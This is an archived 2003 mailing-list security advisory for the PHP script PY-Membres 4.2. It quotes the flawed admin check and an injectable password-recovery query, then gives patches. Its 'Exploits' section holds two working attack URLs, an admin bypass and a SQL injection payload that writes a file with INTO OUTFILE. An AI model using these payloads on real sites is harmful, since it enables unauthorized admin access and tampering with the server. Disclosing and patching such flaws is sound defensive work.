

[VulnWatch] [PHP] PY-Membres 4.2 : Admin Access, SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-08/0021.html>

From: Frog Man (*leseulfrog_at_hotmail.com*)

Date: 08/26/03

To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org

Date: Tue, 26 Aug 2003 17:03:33 +0200

Informations :

oooooooooooooooo

Language : PHP

Version : 4.0, 4.1, 4.2 (and less ?)

Website : <http://www.scripts-php.com>

Problems :

- Admin Access
- SQL Injection

PHP Code/Location :

oooooooooooooooooooooooo

admin/secure.php :

```
<?
if (!isset($adminpy) && $adminpy !== "$admin")
{
Header("Location: index.php");
exit;
}
?>
```

pass_done.php :

```
[...]
if($Submit)
{
connexiondb();
$query = mysql_query("SELECT login, passwd FROM $db_table WHERE
email='$email'");
list($login, $passwd) = mysql_fetch_row($query);
$nb=mysql_num_rows($query);
if($nb<1)
```

VulnWatch: [VulnWatch] [PHP] PY-Membres 4.2 : Admin Access, SQL Injection

```
{ echo"<script language=\"Javascript\">alert('Aucun membre ne correspond à  
votre e-mail !');window.location='pass_done.php';</script>";  
exit;}  
[...]
```

Exploits :

ooooooo

[http://\[target\]/admin/admin.php?adminpy=1](http://[target]/admin/admin.php?adminpy=1)

[http://\[target\]/pass_done.php?Submit=1&email='%20OR%203%20IN%20\(1,2,3\)%20INTO%20OUTFILE%20'/compl](http://[target]/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/compl)

Patch :

ooooooo

A patch and more details can be found on <http://www.phpsecure.info>.

In admin/secure.php, just replace the line :

```
-----  
if (!isset($adminpy) && $adminpy !== "$admin")  
-----
```

by :

```
-----  
if (!isset($adminpy) || $adminpy !== "$admin")  
-----
```

And in pass_done.php, add the line :

```
-----  
$email = addslashes($email);  
-----
```

just before :

```
-----  
$query = mysql_query("SELECT login, passwd FROM $db_table WHERE  
email='$email'");  
-----
```

frog-m@n

Recevez vos e-mails MSN Hotmail par SMS sur votre GSM !

<http://www.fr.msn.be/gsm/servicesms/hotmailparsms>